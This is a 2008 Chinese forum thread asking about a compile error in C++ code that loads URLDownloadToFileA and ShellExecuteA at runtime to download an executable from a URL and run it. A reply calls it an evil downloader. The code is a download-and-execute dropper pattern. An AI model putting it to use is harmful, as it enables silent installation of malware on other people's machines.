首页
社区
课程
招聘
[已解决]URLDownloadToFileA实参过多?
发表于: 2008-5-23 22:49 7603

[已解决]URLDownloadToFileA实参过多?

2008-5-23 22:49
7603
void DownLoad()
{
  HINSTANCE hShell=LoadLibrary("shell32.dll");
  if (!hShell)
  {
    cout<<"Shell32.dll 加载失败!"<<endl;
    exit(-1);
  }
  HINSTANCE hUrlmon=LoadLibrary("urlmon.dll");
  if (!hUrlmon)
  {
    cout<<"Urlmon.dll加载失败!"<<endl;
    exit(-1);
  }
  FARPROC ShellRun=GetProcAddress(hShell,"ShellExecuteA");
  FARPROC DownFile=GetProcAddress(hUrlmon,"URLDownloadToFileA");
  if (!DownFile)
  {
    cout<<"URLDownloadToFileA函数地址获取失败!"<<endl;
    exit(-1);
  }
  if (!ShellRun)
  {
    cout<<"ShellExecuteA函数地址获取失败!"<<endl;
    exit(-1);
  }
  DownFile(NULL,"13bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0p5$3x3#2)9J5k6h3y4G2L8g2)9J5c8W2)9J5c8Y4c8W2M7%4c8Q4x3X3g2W2P5r3f1`.","c:\\test.exe",0,NULL);
  ShellRun(NULL,"open","c:\\test.exe",NULL,NULL,SW_SHOWNORMAL);
}

以上是动态调用urlmon.dll中的URLDownloadToFileA函数,在这一句
DownFile(NULL,"6a1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0p5$3x3#2)9J5k6h3y4G2L8g2)9J5c8W2)9J5c8Y4c8W2M7%4c8Q4x3X3g2W2P5r3f1`.","c:\\test.exe",0,NULL);
编译不通过,提示error C2197: 'int (__stdcall *)(void)' : too many actual parameters,MSDN中的URLDownloadToFileA确实是5个参数啊。。。

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 16
活跃值: (515)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
哎,搞定了。原来必须得typedef一下。。。
2008-5-23 22:57
0
雪    币: 220
活跃值: (886)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
动态调用好象都得吧
2008-5-25 17:58
0
雪    币: 149
活跃值: (379)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
4
罪恶的下载器
2008-5-25 21:38
0
游客
登录 | 注册 方可回帖
返回